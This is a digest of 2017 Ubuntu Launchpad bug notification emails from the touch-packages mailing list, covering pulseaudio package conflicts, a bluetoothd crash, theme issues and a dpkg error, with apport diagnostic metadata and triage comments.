  If you do not have access to the Ubuntu Error Tracker you can request it at 
http://forms.canonical.com/reports/.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1689452/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1654759] Re: package libpulse0 (not installed) failed to install/upgrade: Versuch, gemeinsam benutztes »/etc/pulse/client.conf« zu überschreiben, welches verschieden von anderen

[Daniel van Vugt]

*** This bug is a duplicate of bug 1640139 ***
https://bugs.launchpad.net/bugs/1640139

Thank you for taking the time to report this bug and helping to make
Ubuntu better. This particular bug has already been reported and is a
duplicate of bug 1640139, so it is being marked as such. Please look at
the other bug report to see if there is any missing information that you
can provide, or to see if there is a workaround for the bug.
Additionally, any further discussion regarding the bug should occur in
the other report. Feel free to continue to report any other bugs you may
find.


** This bug has been marked a duplicate of bug 1640139
   package libpulse0 (not installed) failed to install/upgrade: trying to 
overwrite shared '/etc/pulse/client.conf', which is different from other 
instances of package libpulse0:i386

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1654759

Title:
  package libpulse0 (not installed) failed to install/upgrade: Versuch,
  gemeinsam benutztes »/etc/pulse/client.conf« zu überschreiben, welches
  verschieden von anderen Instanzen des Paketes libpulse0:amd64 ist

Status in pulseaudio package in Ubuntu:
  New

Bug description:
  I had also problems after new installation of LTS 16.04 with audio. With 
14.04 it worksbut not with 16.04 (same hardware)
  I found the BugTracker: 
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1643847
  and made the chages like clement describes.but it dosen't work.
  Chrash after new start. I made no reboot!

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: libpulse0 (not installed)
  ProcVersionSignature: Ubuntu 4.4.0-57.78-generic 4.4.35
  Uname: Linux 4.4.0-57-generic x86_64
  NonfreeKernelModules: talpa_vfshook talpa_pedconnector talpa_pedevice 
talpa_vcdevice talpa_core talpa_linux talpa_syscallhook
  ApportVersion: 2.20.1-0ubuntu2.4
  Architecture: amd64
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-path', 
'/dev/snd/hwC0D2', '/dev/snd/pcmC0D2c', '/dev/snd/pcmC0D1c', 
'/dev/snd/pcmC0D1p', '/dev/snd/pcmC0D0c', '/dev/snd/pcmC0D0p', 
'/dev/snd/controlC0', '/dev/snd/hwC1D0', '/dev/snd/pcmC1D3p', 
'/dev/snd/controlC1', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1:
  Date: Sat Jan  7 17:41:24 2017
  ErrorMessage: Versuch, gemeinsam benutztes »/etc/pulse/client.conf« zu 
überschreiben, welches verschieden von anderen Instanzen des Paketes 
libpulse0:amd64 ist
  InstallationDate: Installed on 2016-12-24 (14 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 127: pacmd: 
error while loading shared libraries: libpulse.so.0: cannot open shared object 
file: No such file or directory
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.1
   apt  1.2.15ubuntu0.2
  SourcePackage: pulseaudio
  Title: package libpulse0 (not installed) failed to install/upgrade: Versuch, 
gemeinsam benutztes »/etc/pulse/client.conf« zu überschreiben, welches 
verschieden von anderen Instanzen des Paketes libpulse0:amd64 ist
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 04/28/2010
  dmi.bios.vendor: Award Software International, Inc.
  dmi.bios.version: F5
  dmi.board.name: P55-USB3
  dmi.board.vendor: Gigabyte Technology Co., Ltd.
  dmi.board.version: x.x
  dmi.chassis.type: 3
  dmi.chassis.vendor: Gigabyte Technology Co., Ltd.
  dmi.modalias: 
dmi:bvnAwardSoftwareInternational,Inc.:bvrF5:bd04/28/2010:svnGigabyteTechnologyCo.,Ltd.:pnP55-USB3:pvr:rvnGigabyteTechnologyCo.,Ltd.:rnP55-USB3:rvrx.x:cvnGigabyteTechnologyCo.,Ltd.:ct3:cvr:
  dmi.product.name: P55-USB3
  dmi.sys.vendor: Gigabyte Technology Co., Ltd.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1654759/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705113] Re: package libpulse0 (not installed) failed to install/upgrade: tentative de remplacement de « /etc/pulse/client.conf », qui est différent d'autres instances du paquet

[Daniel van Vugt]

*** This bug is a duplicate of bug 1640139 ***
https://bugs.launchpad.net/bugs/1640139

Thank you for taking the time to report this bug and helping to make
Ubuntu better. This particular bug has already been reported and is a
duplicate of bug 1640139, so it is being marked as such. Please look at
the other bug report to see if there is any missing information that you
can provide, or to see if there is a workaround for the bug.
Additionally, any further discussion regarding the bug should occur in
the other report. Feel free to continue to report any other bugs you may
find.

** This bug has been marked a duplicate of bug 1640139
   package libpulse0 (not installed) failed to install/upgrade: trying to 
overwrite shared '/etc/pulse/client.conf', which is different from other 
instances of package libpulse0:i386

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1705113

Title:
  package libpulse0 (not installed) failed to install/upgrade: tentative
  de remplacement de « /etc/pulse/client.conf », qui est différent
  d'autres instances du paquet libpulse0:amd64

Status in pulseaudio package in Ubuntu:
  New

Bug description:
  i installed LXPanel on my ubuntu and after i don't have sound.

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: libpulse0 (not installed)
  ProcVersionSignature: Ubuntu 4.4.0-83.106-generic 4.4.70
  Uname: Linux 4.4.0-83-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.9
  Architecture: amd64
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-path', 
'/dev/snd/hwC0D3', '/dev/snd/hwC0D0', '/dev/snd/pcmC0D3p', '/dev/snd/pcmC0D2p', 
'/dev/snd/pcmC0D1p', '/dev/snd/pcmC0D0c', '/dev/snd/pcmC0D0p', 
'/dev/snd/controlC0', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1:
  Date: Tue Jul 18 22:47:50 2017
  ErrorMessage: tentative de remplacement de « /etc/pulse/client.conf », qui 
est différent d'autres instances du paquet libpulse0:amd64
  InstallationDate: Installed on 2016-02-11 (523 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 127: pacmd: 
error while loading shared libraries: libpulse.so.0: cannot open shared object 
file: No such file or directory
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.2
   apt  1.2.20
  SourcePackage: pulseaudio
  Title: package libpulse0 (not installed) failed to install/upgrade: tentative 
de remplacement de « /etc/pulse/client.conf », qui est différent d'autres 
instances du paquet libpulse0:amd64
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/07/2012
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 4.6.5
  dmi.board.asset.tag: To be filled by O.E.M.
  dmi.board.name: H61H2-M2
  dmi.board.vendor: ECS
  dmi.board.version: 1.0
  dmi.chassis.asset.tag: To Be Filled By O.E.M.
  dmi.chassis.type: 3
  dmi.chassis.vendor: ECS
  dmi.chassis.version: 1.0
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr4.6.5:bd09/07/2012:svnECS:pnH61H2-M2:pvr1.0:rvnECS:rnH61H2-M2:rvr1.0:cvnECS:ct3:cvr1.0:
  dmi.product.name: H61H2-M2
  dmi.product.version: 1.0
  dmi.sys.vendor: ECS
  mtime.conffile..etc.pulse.client.conf: 2017-07-18T22:55:04.553785

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1705113/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705077] Re: bluetoothd crashed with SIGSEGV in avdtp_sep_set_state()

[Daniel van Vugt]

*** This bug is a duplicate of bug 1493498 ***
https://bugs.launchpad.net/bugs/1493498

Thank you for taking the time to report this bug and helping to make
Ubuntu better. This particular bug has already been reported and is a
duplicate of bug 1689452, so it is being marked as such. Please look at
the other bug report to see if there is any missing information that you
can provide, or to see if there is a workaround for the bug.
Additionally, any further discussion regarding the bug should occur in
the other report. Feel free to continue to report any other bugs you may
find.


** This bug has been marked a duplicate of bug 1689452
   [15.10 and later] bluetoothd crashed with SIGSEGV in avdtp_sep_set_state 
from avdtp_abort_resp from avdtp_parse_resp from session_cb from g_main_dispatch

** This bug is no longer a duplicate of bug 1689452
   [15.10 and later] bluetoothd crashed with SIGSEGV in avdtp_sep_set_state 
from avdtp_abort_resp from avdtp_parse_resp from session_cb from g_main_dispatch
** This bug has been marked a duplicate of bug 1493498
   [15.04 and earlier] bluetoothd crashed with SIGSEGV in avdtp_sep_set_state 
from avdtp_abort_resp from avdtp_parse_resp from session_cb from g_main_dispatch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1705077

Title:
  bluetoothd crashed with SIGSEGV in avdtp_sep_set_state()

Status in bluez package in Ubuntu:
  New

Bug description:
  Hello,

  Config Bluetoothd.

  Regards,
  --
  Cristian

  ProblemType: Crash
  DistroRelease: Ubuntu 17.10
  Package: bluez 5.45-0ubuntu2
  ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
  Uname: Linux 4.11.0-10-generic x86_64
  ApportVersion: 2.20.5-0ubuntu5
  Architecture: amd64
  CrashCounter: 1
  Date: Tue Jul 18 12:02:06 2017
  ExecutablePath: /usr/lib/bluetooth/bluetoothd
  InstallationDate: Installed on 2017-07-05 (12 days ago)
  InstallationMedia: Ubuntu-GNOME 17.04 "Zesty Zapus" - Release amd64 (20170412)
  InterestingModules: rfcomm bnep btusb bluetooth
  MachineType: SAMSUNG ELECTRONICS CO., LTD. 530U3C/530U4C
  ProcCmdline: /usr/lib/bluetooth/bluetoothd
  ProcEnviron:
   LANG=es_CL.UTF-8
   LANGUAGE=es_CL:es
   PATH=(custom, no user)
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.11.0-10-generic 
root=UUID=6b614287-8ce5-49c5-b66d-e92fa9568c2b ro rootflags=subvol=@ quiet 
splash vt.handoff=7
  SegvAnalysis:
   Segfault happened at: 0x55802f9df42e:mov0x8(%rsi),%rbp
   PC (0x55802f9df42e) ok
   source "0x8(%rsi)" (0x0008) not located in a known VMA region (needed 
readable region)!
   destination "%rbp" ok
  SegvReason: reading NULL VMA
  Signal: 11
  SourcePackage: bluez
  StacktraceTop:
   ?? ()
   ?? ()
   g_main_context_dispatch () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
   ?? () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
   g_main_loop_run () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
  Title: bluetoothd crashed with SIGSEGV in g_main_context_dispatch()
  UpgradeStatus: Upgraded to artful on 2017-07-05 (12 days ago)
  UserGroups:
   
  dmi.bios.date: 04/15/2013
  dmi.bios.vendor: Phoenix Technologies Ltd.
  dmi.bios.version: P14AAJ
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: SAMSUNG_NP1234567890
  dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.board.version: FAB1
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.chassis.version: 0.1
  dmi.modalias: 
dmi:bvnPhoenixTechnologiesLtd.:bvrP14AAJ:bd04/15/2013:svnSAMSUNGELECTRONICSCO.,LTD.:pn530U3C/530U4C:pvr0.1:rvnSAMSUNGELECTRONICSCO.,LTD.:rnSAMSUNG_NP1234567890:rvrFAB1:cvnSAMSUNGELECTRONICSCO.,LTD.:ct9:cvr0.1:
  dmi.product.name: 530U3C/530U4C
  dmi.product.version: 0.1
  dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.
  hciconfig:
   hci0:Type: Primary  Bus: USB
BD Address: C4:85:08:6C:01:0A  ACL MTU: 310:10  SCO MTU: 64:8
UP RUNNING PSCAN 
RX bytes:3574167 acl:39 sco:0 events:510356 errors:0
TX bytes:254435767 acl:1033259 sco:0 commands:97 errors:0

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1705077/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1702794] Re: Please add module-switch-on-connect to default.pa

[Daniel van Vugt]

Thanks. I noticed it now refuses to switch more often, but not always,
and that's also not strictly a new bug. It did happen before the update
too, just less often (for me).

I'll look into this soon...

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1702794

Title:
  Please add module-switch-on-connect to default.pa

Status in pulseaudio package in Ubuntu:
  Fix Released

Bug description:
  This way once a user pairs & connects a bluetooth speaker device pulseaudio 
will auto switch to it. 
  As it stands now users have to open sound settings & switch manually. It's 
bad enough that auto discover & connect don't work, (can be scripted thru 
bluetoothctl), no sense adding to frustration

  In the ### Automatically load driver modules for Bluetooth hardware
  section

  
  .ifexists module-switch-on-connect.so
  load-module module-switch-on-connect
  .endif

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: pulseaudio 1:8.0-0ubuntu3.3
  ProcVersionSignature: Ubuntu 4.8.0-56.61~16.04.1-generic 4.8.17
  Uname: Linux 4.8.0-56-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.6
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  doug   1843 F pulseaudio
   /dev/snd/controlC0:  doug   1843 F pulseaudio
  CurrentDesktop: Unity
  Date: Thu Jul  6 20:02:15 2017
  SourcePackage: pulseaudio
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/18/2013
  dmi.bios.vendor: LENOVO
  dmi.bios.version: 74CN44WW(V3.05)
  dmi.board.asset.tag: No Asset Tag
  dmi.board.name: VIQY0Y1
  dmi.board.vendor: LENOVO
  dmi.board.version: 31900058STD
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo IdeaPad Y510P
  dmi.modalias: 
dmi:bvnLENOVO:bvr74CN44WW(V3.05):bd09/18/2013:svnLENOVO:pn20217:pvrLenovoIdeaPadY510P:rvnLENOVO:rnVIQY0Y1:rvr31900058STD:cvnLENOVO:ct10:cvrLenovoIdeaPadY510P:
  dmi.product.name: 20217
  dmi.product.version: Lenovo IdeaPad Y510P
  dmi.sys.vendor: LENOVO
  modified.conffile..etc.pulse.default.pa: [modified]
  mtime.conffile..etc.pulse.default.pa: 2017-07-04T13:42:27.651527

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1702794/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705005] Re: Combination of Light Themes with Adwaita Shell theme

[Daniel van Vugt]

*** This bug is a duplicate of bug 1690966 ***
https://bugs.launchpad.net/bugs/1690966

Thank you for taking the time to report this bug and helping to make
Ubuntu better. This particular bug has already been reported and is a
duplicate of bug 1690966, so it is being marked as such. Please look at
the other bug report to see if there is any missing information that you
can provide, or to see if there is a workaround for the bug.
Additionally, any further discussion regarding the bug should occur in
the other report. Feel free to continue to report any other bugs you may
find.


** This bug has been marked a duplicate of bug 1690966
   Gnome Shell elements (power menu, launcher etc) are the wrong colour when 
using Ambiance (wrong grey, and blue highlights)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1705005

Title:
  Combination of Light Themes with Adwaita Shell theme

Status in ubuntu-themes package in Ubuntu:
  Confirmed

Bug description:
  While Ambiance/Radiance GTK theme is used by default for GTK
  aaplications, Adwaita Shell theme is set as default for Gnome Shell.
  This makes it a very odd combination. So while you have Ubuntu's theme
  with orange and purple on GTK applications, you have Adwaita blue for
  Gnome Shell itself. For example when you click on Activities there is
  a blue underline, or in overview of open applications have blue
  outline and not orange like in Unity.Right clicking on an application
  when all installed application are listed show Adwaita theme and not
  Ubuntu light themes.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: light-themes 16.10+17.10.20170703-0ubuntu1
  ProcVersionSignature: Ubuntu 4.11.0-11.16-generic 4.11.10
  Uname: Linux 4.11.0-11-generic x86_64
  ApportVersion: 2.20.5-0ubuntu5
  Architecture: amd64
  CurrentDesktop: GNOME
  Date: Tue Jul 18 05:25:24 2017
  InstallationDate: Installed on 2017-06-10 (37 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170609)
  PackageArchitecture: all
  ProcEnviron:
   LANGUAGE=en_US
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: ubuntu-themes
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1705005/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705024] Re: Output to BT speaker stops when laptop is unplugged from AC

[Daniel van Vugt]

I experienced similar on my desktop yesterday. No sound when BT speaker
selected. Although I didn't unplug the power from the desktop :)

I think I need to ignore that though because the BT dongle on my desktop
is super-cheap and buggy compared to laptops. It has kernel issues that
then ripple into everything else.

** Tags added: a2dp

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1705024

Title:
  Output to BT speaker stops when laptop is unplugged from AC

Status in pulseaudio package in Ubuntu:
  New

Bug description:
  artful desktop

  Test Case
  1. Connect a laptop to a power supply
  2. Pair a BT speaker
  3. Play some music with VLC
  4. Disconnect the laptop from AC to switch to battery

  Expected result
  The music continues playing

  Actual result
  It stops. pavucontrol shows that the output device is still the BT speaker 
and the vumeter is still alive but there is not sound on the speaker. Only 
powering off/on the speaker makes it work again.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: pulseaudio 1:10.0-2ubuntu1
  ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
  Uname: Linux 4.11.0-10-generic x86_64
  ApportVersion: 2.20.5-0ubuntu5
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC1D0c:   j-lallement   1293 F...m pulseaudio
   /dev/snd/controlC1:  j-lallement   1293 F pulseaudio
   /dev/snd/controlC0:  j-lallement   1293 F pulseaudio
  CurrentDesktop: GNOME
  Date: Tue Jul 18 14:40:02 2017
  InstallationDate: Installed on 2013-09-03 (1413 days ago)
  InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Alpha amd64 (20130902)
  ProcEnviron:
   TERM=screen-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=fr_FR.UTF-8
   SHELL=/bin/bash
  SourcePackage: pulseaudio
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 01/29/2013
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX32VD.214
  dmi.board.asset.tag: ATN12345678901234567
  dmi.board.name: UX32VD
  dmi.board.vendor: ASUSTeK COMPUTER INC.
  dmi.board.version: 1.0
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: ASUSTeK COMPUTER INC.
  dmi.chassis.version: 1.0
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrUX32VD.214:bd01/29/2013:svnASUSTeKCOMPUTERINC.:pnUX32VD:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX32VD:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:
  dmi.product.name: UX32VD
  dmi.product.version: 1.0
  dmi.sys.vendor: ASUSTeK COMPUTER INC.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1705024/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705034] Re: Active application's button isn't highlighted on the panel

[Daniel van Vugt]

** Tags added: xenial

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-themes in Ubuntu.
https://bugs.launchpad.net/bugs/1705034

Title:
  Active application's button isn't highlighted on the panel

Status in ubuntu-themes package in Ubuntu:
  Confirmed

Bug description:
  When using Radiance theme in Gnome Flashback session in 16.04 LTS, active 
application's button is not highlighted on the panel. In Ambiance theme active 
application's button is highlighted by the darker color. Comparison of the 
gnome-panel.css in /usr/share/themes/Ambiance/gtk-3.0/apps and 
/usr/share/themes/Radiance/gtk-3.0/apps showed the absence of some code in 
Radiance theme.
  Adding the fragment of code from Ambiance gnome-panel.css to Radiance 
respective file fixes the issue (possibly some adjustment of values is needed, 
as this code is related to dark Ambiance theme, rather than light Radiance 
theme).
  Here's the mentioned code fragment:

  PanelApplet .button:checked {
  background-image: -gtk-gradient (linear, left top, left bottom,
   from (shade (@dark_bg_color, 0.95)),
   to (shade (@dark_bg_color, 1.1)));
  }

  PanelApplet .button:checked:prelight {
  background-image: -gtk-gradient (linear, left top, left bottom,
   from (shade (@dark_bg_color, 1.15)),
   to (shade (@dark_bg_color, 1.3)));
  }

  PanelApplet .button:checked:prelight:active {
  border-image: none;
  background-image: -gtk-gradient (linear, left top, left bottom,
   from (shade (@dark_bg_color, 0.75)),
   to (shade (@dark_bg_color, 0.9)));
  border-color: shade (@dark_bg_color, 0.8);
  }

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubuntu-themes/+bug/1705034/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1418494] Re: volume bar thinks mouse is pressed if released outside area

[Shahbaz Youssefi]

Cannot reproduce in 17.04. Must be fixed already.

** Changed in: ido (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ido in Ubuntu.
https://bugs.launchpad.net/bugs/1418494

Title:
  volume bar thinks mouse is pressed if released outside area

Status in ido package in Ubuntu:
  Fix Released

Bug description:
  Steps to reproduce:

  - Open indicator-sound (click on volume icon)
  - Press the mouse in volume slide (don't release)
  - Move mouse to outside the slide widget (not on another button, or outside 
indicator-sound)
  - Release the mouse
  - Optional: click on the indicator-sound window where there is no button. 
Nothing happens, but you can click as much as you want. (Even if there is a 
button, the behavior is the same)
  - Move mouse back to volume slide

  Expected behavior: volume slider doesn't change with mouse motion

  Observed behavior: volume slider follows mouse motion as if mouse is
  still pressed

  ---

  I am reporting this bug here because particularly with indicator-
  sound, the volume slider is quite thin, so if you are not precise, you
  could release the mouse easily outside the area. What's more,
  sometimes you want to lower the volume because some music you don't
  want starts playing, so this could happen:

  - Lower the volume with a focus on changing the music
  - Moving fast, the mouse button release happens outside the slider area
  - Change the music
  - Move back to the slider with the intention of raising volume
  - BAM, the slider still thinks the mouse is pressed, and the volume may 
potentially be raised to maximum depending on where your mouse is.

  ---

  If I may suggest (based on guessing completely), the slider widget
  needs to check the state of the mouse button on mouse motion event.

  ProblemType: Bug
  DistroRelease: Ubuntu 14.10
  Package: indicator-sound 12.10.2+14.10.20141010-0ubuntu1
  ProcVersionSignature: Ubuntu 3.16.0-30.40-generic 3.16.7-ckt3
  Uname: Linux 3.16.0-30-generic x86_64
  NonfreeKernelModules: nvidia
  ApportVersion: 2.14.7-0ubuntu8.1
  Architecture: amd64
  CurrentDesktop: Unity
  Date: Thu Feb  5 12:02:30 2015
  SourcePackage: indicator-sound
  UpgradeStatus: Upgraded to utopic on 2014-11-01 (95 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ido/+bug/1418494/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1701850] Re: package bsdutils 1:2.29-1ubuntu2 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration

[Launchpad Bug Tracker]

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: util-linux (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to util-linux in Ubuntu.
https://bugs.launchpad.net/bugs/1701850

Title:
  package bsdutils 1:2.29-1ubuntu2 failed to install/upgrade: package is
  in a very bad inconsistent state; you should  reinstall it before
  attempting configuration

Status in dpkg package in Ubuntu:
  Confirmed
Status in util-linux package in Ubuntu:
  Confirmed

Bug description:
  unable to install some product after

  ProblemType: Package
  DistroRelease: Ubuntu 17.04
  Package: bsdutils 1:2.29-1ubuntu2
  ProcVersionSignature: Ubuntu 4.10.0-24.28-lowlatency 4.10.15
  Uname: Linux 4.10.0-24-lowlatency x86_64
  ApportVersion: 2.20.4-0ubuntu4.1
  AptOrdering:
   bsdutils:amd64: Configure
   python-xmltodict:amd64: Install
   python-pyquery:amd64: Install
   wxbanker:amd64: Install
   NULL: ConfigurePending
  Architecture: amd64
  Date: Fri Jun 30 22:47:13 2017
  DpkgTerminalLog:
   dpkg: error processing package bsdutils (--configure):
package is in a very bad inconsistent state; you should
reinstall it before attempting configuration
  ErrorMessage: package is in a very bad inconsistent state; you should  
reinstall it before attempting configuration
  InstallationDate: Installed on 2017-06-11 (20 days ago)
  InstallationMedia: Ubuntu-Studio 17.04 "Zesty Zapus" - Release amd64 
(20170412)
  RelatedPackageVersions:
   dpkg 1.18.10ubuntu2
   apt  1.4
  SourcePackage: util-linux
  Title: package bsdutils 1:2.29-1ubuntu2 failed to install/upgrade: package is 
in a very bad inconsistent state; you should  reinstall it before attempting 
configuration
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dpkg/+bug/1701850/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1701850] Re: package bsdutils 1:2.29-1ubuntu2 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration

[Launchpad Bug Tracker]

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: dpkg (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to util-linux in Ubuntu.
https://bugs.launchpad.net/bugs/1701850

Title:
  package bsdutils 1:2.29-1ubuntu2 failed to install/upgrade: package is
  in a very bad inconsistent state; you should  reinstall it before
  attempting configuration

Status in dpkg package in Ubuntu:
  Confirmed
Status in util-linux package in Ubuntu:
  Confirmed

Bug description:
  unable to install some product after

  ProblemType: Package
  DistroRelease: Ubuntu 17.04
  Package: bsdutils 1:2.29-1ubuntu2
  ProcVersionSignature: Ubuntu 4.10.0-24.28-lowlatency 4.10.15
  Uname: Linux 4.10.0-24-lowlatency x86_64
  ApportVersion: 2.20.4-0ubuntu4.1
  AptOrdering:
   bsdutils:amd64: Configure
   python-xmltodict:amd64: Install
   python-pyquery:amd64: Install
   wxbanker:amd64: Install
   NULL: ConfigurePending
  Architecture: amd64
  Date: Fri Jun 30 22:47:13 2017
  DpkgTerminalLog:
   dpkg: error processing package bsdutils (--configure):
package is in a very bad inconsistent state; you should
reinstall it before attempting configuration
  ErrorMessage: package is in a very bad inconsistent state; you should  
reinstall it before attempting configuration
  InstallationDate: Installed on 2017-06-11 (20 days ago)
  InstallationMedia: Ubuntu-Studio 17.04 "Zesty Zapus" - Release amd64 
(20170412)
  RelatedPackageVersions:
   dpkg 1.18.10ubuntu2
   apt  1.4
  SourcePackage: util-linux
  Title: package bsdutils 1:2.29-1ubuntu2 failed to install/upgrade: package is 
in a very bad inconsistent state; you should  reinstall it before attempting 
configuration
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dpkg/+bug/1701850/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

